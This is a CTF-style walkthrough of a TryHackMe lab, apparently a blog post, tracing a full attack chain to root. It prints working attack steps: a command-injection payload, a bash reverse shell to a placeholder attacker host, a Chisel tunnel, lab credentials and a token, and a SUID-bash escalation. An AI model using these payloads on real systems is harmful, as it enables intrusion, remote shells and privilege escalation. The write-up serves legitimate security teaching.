Hacker Holidays 2026 — Day 11| Infinity Pool | Tryhackme Walkthrough
This write-up covers the complete attack path through the Infinity Pool room, starting with external reconnaissance and ending with root access. Along the way, we’ll look at the initial command injection, internal service discovery, the FreePBX UCP pivot, the automation-key leak, and the final privilege escalation.
Warning: This walkthrough contains spoilers.
If you’re working through the room yourself, consider coming back here only after you’ve completed it or reached a dead end.
TL;DR
The attack starts with the hidden /status staff functionality, which ultimately reaches the vulnerable /internal/netcheck endpoint. Because the application passes the supplied host directly into a shell command, command injection provides access as the web user.
From there, internal services bound to localhost are enumerated. The Watchtower service exposes configuration information containing FreePBX UCP credentials and the location of the internal automation service.
Using the leaked credentials, the FreePBX UCP dashboard can be accessed. A voicemail entry contains an Automation Key, which provides access to the root-running automation API.
Finally, the /jobs/export endpoint is vulnerable to command injection. Since the service executes as root, exploiting this endpoint leads directly to root access and the final flag.
1. Reconnaissance
The initial enumeration focused on identifying externally accessible services and investigating the web application.
Nmap Scan
I started with a full TCP port scan and service detection:
nmap -p- -sV -oN nmap.txt TARGET-IPThe important results were:
22/tcp OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp gunicorn (Flask app — "Byte Lotus — Stay Noticed")Only SSH and HTTP were exposed externally. There were no directly accessible database or administrative services, making the web application the obvious place to focus.
2. Web Enumeration
Rather than immediately launching a directory brute-force, I first inspected the site’s source and JavaScript files.
Inside /static/app.js, a developer comment revealed an interesting endpoint:
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.Checking robots.txt confirmed:
Disallow: /internal/
Disallow: /statusVisiting /status revealed a staff connectivity form that accepted a host and returned the result of a ping operation.
Tip: Always inspect JavaScript, comments, and
robots.txtbefore blindly brute-forcing directories. In this case, they practically handed us the next endpoint.
3. Initial Exploitation
Command Injection
The /status functionality sends the supplied host parameter to:
/internal/netcheckReviewing the application source showed the vulnerable code:
subprocess.run(
f"ping -c 1 {host}",
shell=True,
capture_output=True,
text=True,
timeout=15
)The problem is the combination of user input, string interpolation, and shell=True.
To verify command execution, I supplied:
127.0.0.1; idThe response included:
uid=1001(web) gid=1001(web) groups=1001(web)Command execution was confirmed, and the process was running as the web user.
4. Getting a Shell
Because the application uses /bin/sh, the Bash redirection syntax needs to be explicitly executed through Bash.
Listener:
nc -lvnp 4444Payload:
127.0.0.1; /usr/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1'Once the connection arrived, I upgraded the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256colorAt this point we have a shell as:
webThe user flag can then be retrieved from:
/home/web/user.txt5. Internal Enumeration
With access as web, the next step was to determine what services were available internally.
The application directory contained several separate components:
/var/www/infinity_pool/
├── edge
├── watchtower
└── automationTheir roles were:
- edge — public-facing Flask application
- watchtower — internal monitoring application
- automation — root-owned automation servic
Checking listening services revealed several localhost-only ports:
3000
8080
9000
3306The most interesting services were:
127.0.0.1:3000
127.0.0.1:8080
127.0.0.1:9000Watchtower
The service on port 3000 was identified as the Watchtower operations console.
It was accessible locally:
curl -s http://127.0.0.1:3000/The application also exposed:
/api/health
/api/configThe configuration endpoint was particularly interesting:
curl -s http://127.0.0.1:3000/api/configIt returned information similar to:
{
"automation_endpoint": "http://127.0.0.1:9000",
"ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
"telephony_pass": "St4yN0t1c3d_2026",
"telephony_portal": "http://127.0.0.1:8080/ucp",
"telephony_user": "FreePBXUCPTemplateCreator"
}This exposed both the internal UCP credentials and the automation service location.
FreePBX UCP
The leaked credentials did not work against the FreePBX administrator interface. They were intended for UCP.
Get Piyush Manghnani’s stories in your inbox
Join Medium for free to get updates from this writer.
Searching the installed files helped confirm the account:
grep -RIn "FreePBXUCPTemplateCreator" /var/www/htmlThe UCP installation was also affected by the default template credentials described by CVE-2026–46376.
Because the UCP login uses JavaScript/AJAX, I used Chisel to expose the internal service locally.
On Kali:
./chisel server -p 9999 --reverseOn the target:
./chisel client ATTACKER-IP:9999 R:8080:127.0.0.1:8080 R:9000:127.0.0.1:9000Once the tunnel was established, the UCP portal was available at:
http://127.0.0.1:8080/ucp/The leaked credentials successfully authenticated.
After logging in, the UCP dashboard was available.
Automation Key
The next clue came from the UCP dashboard.
I added the Voicemail widget.
[Screenshot — Adding the Voicemail widget]
One of the voicemail entries contained:
Automation Key cc_auto_7b3f9a1c4e0d2f6aThis was the bearer token required by the automation service.
6. Privilege Escalation
The automation service was running as root and exposed a jobs API.
The relevant endpoint was:
POST /jobs/exportIt required the Automation Key in an Authorization header.
Testing the token:
curl -s -X POST http://127.0.0.1:9000/jobs/export -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" -H "Content-Type: application/json" -d '{"report":"test"}'The response revealed the command being executed:
tar czf /var/automation/exports/test.tgz /var/automation/dataThe supplied report value was being incorporated into a shell command, giving us another command-injection point.
SUID Bash
Since the automation service runs as root, the injection can be used to modify /bin/bash:
curl -s -X POST http://127.0.0.1:9000/jobs/export -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" -H "Content-Type: application/json" -d '{"report":"x.tgz /var/automation/data; chmod +s /bin/bash #"}'Then:
/bin/bash -p
whoamirootThe privilege escalation is complete.
Flags
The user flag was obtained from:
/home/web/user.txtAfter gaining root access:
cat /root/root.txtTHM{tr4c3d_t0_th3_h0r1z0n}Dead Ends
SSH
Port 22 was exposed, but there was no useful SSH authentication path during the initial enumeration.
FreePBX Admin
The leaked credentials did not work against:
/admin/config.phpThey were intended for the UCP interface.
Direct Internal Services
Ports 3000, 8080, and 9000 were bound to 127.0.0.1, so they were not directly reachable from Kali.
Chisel solved this by forwarding the loopback services.
Lessons Learned
This room demonstrates how several small weaknesses can combine into a complete compromise:
- Source-code comments can reveal hidden functionality.
robots.txtcan expose interesting endpoints.- User input should never be passed directly into
shell=True. - Localhost-only services are still important after gaining a shell.
- Configuration endpoints should not leak credentials or internal topology.
- Default credentials can expose otherwise protected applications.
- Sensitive credentials can leak through unexpected places such as voicemail metadata.
- Root services should never construct shell commands from untrusted input.
- Command injection in a root process can result in complete system compromise.
The overall attack chain:
Hidden Endpoint
↓
Command Injection
↓
web Shell
↓
Internal Enumeration
↓
Watchtower /api/config
↓
UCP Credentials
↓
FreePBX UCP
↓
Voicemail
↓
Automation Key
↓
Root Automation API
↓
Command Injection
↓
Root








